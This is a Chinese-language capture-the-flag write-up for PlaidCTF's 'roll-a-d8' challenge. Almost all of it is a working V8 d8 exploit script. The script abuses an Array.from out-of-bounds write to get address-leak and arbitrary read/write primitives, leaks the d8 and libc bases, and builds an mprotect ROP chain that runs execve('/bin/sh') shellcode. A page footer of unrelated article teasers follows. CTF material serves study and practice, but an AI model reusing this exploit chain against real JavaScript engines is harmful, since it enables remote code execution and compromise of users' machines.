PlaidCTF roll-a-d8

第一次尝试最后不采用wasm写shellcode来getshell

class Memory{constructor(){this.buf = new ArrayBuffer(8);this.f64 = new Float64Array(this.buf);this.u32 = new Uint32Array(this.buf);this.bytes = new Uint8Array(this.buf);}d2u(val){				//double ==> Uint64this.f64[0] = val;let tmp = Array.from(this.u32);return tmp[1] * 0x100000000 + tmp[0];}u2d(val){				//Uint64 ==> doublelet tmp = [];tmp[0] = parseInt(val % 0x100000000);tmp[1] = parseInt((val - tmp[0]) / 0x100000000);this.u32.set(tmp);return this.f64[0];}
}
function hex(i)
{return i.toString(16).padStart(16, "0");
}  
var mem = new Memory();
var bufs = [];
var objs = [];
var oobArray = [1.1];
var maxSize = 1028 * 8;Array.from.call(function() { return oobArray; }, {[Symbol.iterator] : _ => ({counter : 0,next() {let result = 1.1;this.counter++;if (this.counter > maxSize) {oobArray.length = 1;for (let i = 0;i < 100;i++) {bufs.push(new ArrayBuffer(0x1234));let obj = {'a': 0x4321, 'b': 0x9999};objs.push(obj);}return {done: true};} else {return {value: result, done: false};}}}
)});var buf_offset = 0;
for(let i = 0; i < maxSize; i++){let val = mem.d2u(oobArray[i]);if(val === 0x123400000000){console.log("buf_offset: " + i.toString());buf_offset = i;oobArray[i] = mem.u2d(0x121200000000); oobArray[i + 3] = mem.u2d(0x1212);      break;}
}var obj_offset = 0
for(let i = 0; i < maxSize; i++){let val = mem.d2u(oobArray[i]);if(val === 0x432100000000){console.log("obj_offset: " + i.toString());obj_offset = i;oobArray[i] = mem.u2d(0x567800000000);  break;}
}var buf_idx = 0;
for(let i = 0; i < bufs.length; i++){let val = bufs[i].byteLength;if(val === 0x1212){                         console.log("found controllable buf at idx " + i.toString());controllable_buf_idx = i;break;}
}var obj_idx = 0;
for(let i = 0; i < objs.length; i++){let val = objs[i].a;if(val === 0x5678){                       console.log("found controllable obj at idx " + i.toString());controllable_obj_idx = i;break;}
}
function addressof(obj)
{objs[obj_idx].a=obj;return mem.d2u(oobArray[obj_offset])-1;
}
function read64(address)
{oobArray[buf_offset+1]=mem.u2d(address);oobArray[buf_offset+2]=mem.u2d(address);let tmp=new Float64Array(bufs[buf_idx],0,0x10);return mem.d2u(tmp[0]);
}
function writerop(address,ropchain)
{oobArray[buf_offset+1]=mem.u2d(address);oobArray[buf_offset+2]=mem.u2d(0);var adv=new DataView(bufs[buf_idx]);for(let i=0;i<ropchain.length;i++){let tmp = ropchain[i];let tmp_l=(tmp&-1)>>>0;let tmp_h=((tmp / 2 ** 32) & -1)>>>0;adv.setUint32(8*i,tmp_l,true);adv.setUint32(8*i+4,tmp_h,true);}
}
function leak_d8base(obj_addr)
{var map_r=read64(obj_addr)-1;console.log("[*] leak map_r: 0x"+hex(map_r));var constructor_r=read64(map_r+0x20)-1;console.log("[*] leak constructor_r: 0x"+hex(constructor_r));var code=read64(constructor_r+0x30)-1;console.log("[*] leak code: 0x"+hex(code));var d8base=read64(code+0x162);console.log("[*] leak d8base: 0x"+hex(d8base));return d8base-0x2ece70;
}
var target=[1,2,3,4];
var d8base=leak_d8base(addressof(target));
console.log("[*] leak d8base: 0x"+hex(d8base));
free_got=d8base+0xb9b580;
libcbase=read64(free_got)-0x9a6d0;
console.log("[*] leak libcbase: 0x"+hex(libcbase));
ret_addr=read64(libcbase+0x3cc138)-0x110;
console.log("[*] leak ret_addr: 0x"+hex(ret_addr));
var rdi_ret=libcbase+0x0000000000023b6a;
var rsi_ret=libcbase+0x000000000002601f;
var rdx_ret=libcbase+0x0000000000119431;
var mprotect=libcbase+0x118bc0;
let sc = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05];
let shellcode = new Uint8Array(100);
let shell_addr = read64(addressof(shellcode) + 0x68)+0x10;console.log("shell_addr: 0x" + shell_addr.toString(16));
let ropchain =  [rdi_ret,parseInt(shell_addr / 0x1000) * 0x1000,rsi_ret,4096,rdx_ret,7,0,mprotect,shell_addr
];
writerop(ret_addr,ropchain);
for(let i = 0; i < sc.length; i++){shellcode[i] = sc[i];
}
//%DebugPrint(sd);
//%SystemBreak();

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/236466.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ros2/ros 4轮2驱机器人xacro/urdf文件示例代码

这个实验中最重要的是&#xff1a;colcon build 之后要记得source install/setup.bash.否则修改的文件是不会更新的。知道了吧 <robot name"half" xmlns:xacro"http://wiki.ros.org/wiki/xacro"><xacro:property name"PI" value"3…

Django 简单图书管理系统

一、图书需求 1. 书籍book_index.html中有超链接&#xff1a;查看所有的书籍列表book_list.html页面 2. 书籍book_list.html中显示所有的书名&#xff0c;有超链接&#xff1a;查看本书籍详情book_detail.html(通过书籍ID)页面 3. 书籍book_detail.html中书的作者和出版社&…

2023年全球软件开发大会(QCon北京站2023)2月-核心PPT资料下载

一、峰会简介 本次活动聚焦云原生、分布式数据库、现代数据技术栈一系列前沿技术与实践&#xff0c;为技术团队负责人、架构师、开发人员等提供了技术学习与交流的平台。 本次峰会包含&#xff1a;AI基础架构、DevOps流程与实践、ML模型效率与易用性、测试环境治理、大规模集…

关于Trunk、Hybrid、Access、Tag、Untag、Pvid的关系与区别

一、相关定义 1、Trunk口&#xff0c;Trunk口上可以同时传送多个VLAN的包&#xff0c;一般用于交换机之间的链接。 2、Hybrid口&#xff0c;Hybrid口上可以同时传送多个VLAN的包&#xff0c;一般用于交换机之间的链接或交换机于服务器的链 接。 3、Access口&#xff0c;Acce…

Nginx 安装(源码编译安装)

Nginx服务器提供了Windows和Linux版本&#xff0c;本文为Linux环境下Nginx服务器的详细安装步骤。 安装环境&#xff1a; Linux服务器操作系统&#xff1a;CentOs 8.1.1911 Nginx版本&#xff1a;1.21.4&#xff08;Linux&#xff09; 安装步骤&#xff1a; 1、安装GCC、aut…

单片机LCD1602

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、LCD1602是什么&#xff1f;二、LCD1602 原理三、显示一个字符四、如何显示四位数五、参考历程六、封装成一个显示 字符和一个显示任意四位数的函数总结 前言…

win7系统装visual studio

win7系统装visual studio 2023/12/18 安装实例 文章目录 win7系统装visual studio前言一、WIN7安装VS2019需要的两个补丁kb4474419-v3/kb4490628二、在win7 上安装 Visual Studio 2019 步骤 及 vs2019离线安装包三、修改为兼容性为兼容win7四、安装.NET五、安装进程卡在95%总结…

缓存:系统设计中至关重要的一环

什么是缓存&#xff1f; 缓存就像是一个超快速的存储区域&#xff0c;保存了计算机或手机经常使用的内容的副本&#xff0c;这样可以在不访问较慢的主存储器的情况下快速获取。 一个现实中的例子可以是&#xff0c;每当我们购买杂货时&#xff0c;通常会倾向于大量购买&#…

I.MX6ULL_Linux_驱动篇(47)linux RTC驱动

RTC 也就是实时时钟&#xff0c;用于记录当前系统时间&#xff0c;对于 Linux 系统而言时间是非常重要的&#xff0c;就和我们使用 Windows 电脑或手机查看时间一样&#xff0c;我们在使用 Linux 设备的时候也需要查看时间。本章我们就来学习一下如何编写 Linux 下的 RTC 驱动程…

云南省中小学校学籍系统照片采集要求及拍照方法

云南省各地中小学校陆续开展新一年度的学籍照片采集工作&#xff0c;同时中高考报名、毕业照片的采集也即将开始&#xff0c;然而很多学籍管理员和信息员都遇到一个问题&#xff0c;就是这些照片的尺寸要求、背景颜色、文件命名方式都不一样&#xff0c;全校动辄几百上千名学生…

从入门到放弃之「ClickHouse」

文章目录 1. 写在最前面1.1 思路 2. ClickHouse2.1 基本概念2.2 高端用法2.2.1 条件判断2.2.2 HAVING2.2.3 CASE WHEN2.2.4 window function 3. 碎碎念4. 参考资料 1. 写在最前面 最近在整理 api 成功率的问题。但是总结下来以下三点是我分析路上的绊脚石。 上报链路还不够稳定…

java 自用工具方法

java 自用工具方法 时间格式转换1 将时间转换成指定格式的字符串校验1.国内手机校验2.邮箱校验3.国内身份证校验4.性别校验5.字符串组是否包含字符串 【完全包含,不区分大小写】字符串其它应用1.字符串指定截取时间格式转换 1 将时间转换成指定格式的字符串 // date 时间 fo…

1-交易系统设计的一些原则

高并发原则 无状态 如果设计的应用是无状态的&#xff0c;那么应用比较容易进行水平扩展。实际生产环境可能是这样的&#xff1a;应用无状态&#xff0c;配置文件有状态。比如&#xff0c;不同的机房需要读取不同的数据源&#xff0c;此时&#xff0c;就需要通过配置文件或配…

Python(四十九)——requests和httpx

Python(四十九)——requests和httpx Python——requests和httpx获取cookie Python(四十九)——requests和httpx 1. 获取cookies1.1 requests获取cookies1.1.1 直接获取cookies1.1.2 session 获取cookies 1.2 httpx获取cookie1.3 获取Set-Cookie1.4 cookie 失效1.5 获取cookie的…

CEC2013(python):五种算法(GA、WOA、GWO、DBO、HHO)求解CEC2013(python代码)

一、五种算法简介 1、遗传算法算法GA 2、鲸鱼优化算法WOA 3、灰狼优化算法GWO 4、蜣螂优化算法DBO 5、哈里斯鹰优化算法HHO 二、5种算法求解CEC2013 &#xff08;1&#xff09;CEC2013简介 参考文献&#xff1a; [1] Liang J J , Qu B Y , Suganthan P N , et al. Prob…

3D模型如何制作透明玻璃材质

在线工具推荐&#xff1a; 3D数字孪生场景编辑器 - GLTF/GLB材质纹理编辑器 - 3D模型在线转换 - Three.js AI自动纹理开发包 - YOLO 虚幻合成数据生成器 - 三维模型预览图生成器 - 3D模型语义搜索引擎 1、什么是玻璃材质 在3D建模和渲染中&#xff0c;玻璃是一种非常常见…

Keras使用sklearn中的交叉验证和网格搜索

Keras是Python在深度学习领域非常受欢迎的第三方库&#xff0c;但Keras的侧重点是深度学习&#xff0c;而不是所以的机器学习。事实上&#xff0c;Keras力求极简主义&#xff0c;只专注于快速、简单地定义和构建深度学习模型所需要的内容。Python中的scikit-learn是非常受欢迎的…

【单调栈】LeetCode2030:含特定字母的最小子序列

作者推荐 map|动态规划|单调栈|LeetCode975:奇偶跳 涉及知识点 单调栈 题目 给你一个字符串 s &#xff0c;一个整数 k &#xff0c;一个字母 letter 以及另一个整数 repetition 。 返回 s 中长度为 k 且 字典序最小 的子序列&#xff0c;该子序列同时应满足字母 letter 出…

SpringMVC01

SpringMVC 1. 学习⽬标2. 什么叫MVC&#xff1f;3. SpringMVC 框架概念与特点4. SpringMVC 请求流程5. Spring MVC 环境搭建6. URL 地址映射配置7. 参数绑定8. JSON 数据开发JSON普通数组步骤1:pom.xml添加依赖步骤2&#xff1a; 修改配置⽂件步骤3. 注解使⽤ 1. 学习⽬标 2. 什…